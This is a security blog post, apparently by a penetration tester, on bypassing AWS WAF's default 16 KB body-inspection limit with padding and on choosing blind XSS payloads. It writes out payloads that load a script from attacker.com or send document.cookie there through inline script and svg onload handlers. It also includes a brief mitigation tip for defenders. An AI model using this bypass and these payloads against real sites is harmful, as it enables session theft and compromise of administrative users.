How to Bypass CloudFront/AWS WAF and Pop Blind XSS

I want to share some tips on one of my favorite vulnerability classes: blind cross-site scripting. One of the reasons I love blind XSS is that when a payload pops, it’s almost always a critical vulnerability. When I first learned about XSS Hunter (an easy-to-use online tool that facilitates the blind XSS setup), I could hardly believe it was so easy. I spray-and-prayed my payload wherever I could, and it paid out. The rush of having a payload pop weeks, months, or even years later never gets old. So, how do you improve the chances of blind XSS payload popping?

Evade WAFs

Many companies hide their web applications behind a generic Web Application Firewall (WAF) and think that’s enough to protect against injection-based attacks. Not enough security teams know that with the default configurations, many WAF deployments—including common CloudFront and AWS WAF setups—are bypassable.

Consider a client registration portal that sits behind AWS CloudFront for protection:

The WAF blocks my request when I attempt to register a new user with the “company name” set to a blind XSS payload. Luckily, there’s a way to get around this.

Send the exact same request, but this time add a key-value pair to the beginning of the JSON body. The key can be something innocuous like "A" and the value should be 20,000 A characters ("AAAAAAAAAA..."). Note that A is not a special character—any character sequence can be used for padding. The point is to push the malicious payload down in the body of the HTTP request and hide it underneath the inspected region.

This time, the WAF doesn’t block the request and the blind XSS payload is smuggled through. My JavaScript ended up executing on an administrative onboarding endpoint and yielded a juicy finding.

So why does this work? Anyone who has worked with AWS knows that its features are extremely granular. Each product and service does a very specific task. CloudFront itself is in charge of caching, TLS termination, and protects against DDoS-style issues. It then passes the request to AWS WAF, which checks for things like malicious payloads. The caveat is that by default, AWS WAF only inspects the first 16,384 bytes of the request body when used with CloudFront. Therefore, if 20,000 bytes in the form of A’s are padded in front of a malicious request, the WAF only analyzes the padding and the request is accepted.

This trick works on a surprising number of WAFs that have similar body-size inspection limits, and Assetnote has a Burp Suite extension to automate this style of bypass.

Security Teams

You can modify CloudFront and AWS WAF to automatically drop or safely handle requests above 16,384 bytes. Just make sure this doesn’t break any intended functionality first!

Penetration Testers

If you run into a challenge like a WAF, you’re not alone. But if you persevere and find a bypass, you distinguish yourself from other hackers and may find untested functionality.

Choose the Right Payloads

Now that the (default configurations of some) WAFs are out of the way, what payloads should be used? For many blind XSS situations, the classic external-script payload works well:

"><script src="https://attacker.com/malicious.js"></script>

where malicious.js is a script hosted on an attacker-controlled server that exfiltrates data or performs actions on the victim’s behalf. The main obstacle here is the Content Security Policy (CSP). A CSP is a security header used to prevent XSS by instructing the browser which sources of content are permitted to execute. If the server sends a Content-Security-Policy: header with a value like script-src 'self', the browser will only execute scripts that originate from the same origin as the website, blocking any external source.

To bypass a basic script-src 'self' restriction, an attacker must inline the exfiltration logic so the code executes directly from the page rather than an external file:

"><script>fetch('https://attacker.com/?c='+document.cookie)</script>

Note that for this inline payload to execute, the CSP must allow 'unsafe-inline', or the page must lack a CSP entirely. If the CSP is strict, then it’s necessary to find a CSP bypass to chain with the attack. Furthermore, even without a CSP, web applications often blacklist specific HTML tags and event handlers. If <script> tags are blocked by a server-side filter, then a payload like this might do the trick:

"><svg onload=fetch('https://attacker.com/?c='+document.cookie)>

I once had a penetration test where the web application was vulnerable to HTML injection, which is a precursor to blind XSS. However, the application manipulated user input in odd ways. I was lucky enough to see how my transformed data was rendered on the administrative panel. This allowed me to iteratively update my payload until I finally found a syntax that worked.

Long story short: send multiple payloads at each insertion point. Backend transformations are unpredictable, and you never know which payload will actually pop.


Discover more from Cooper Young

Subscribe to get the latest posts sent to your email.

Similar Posts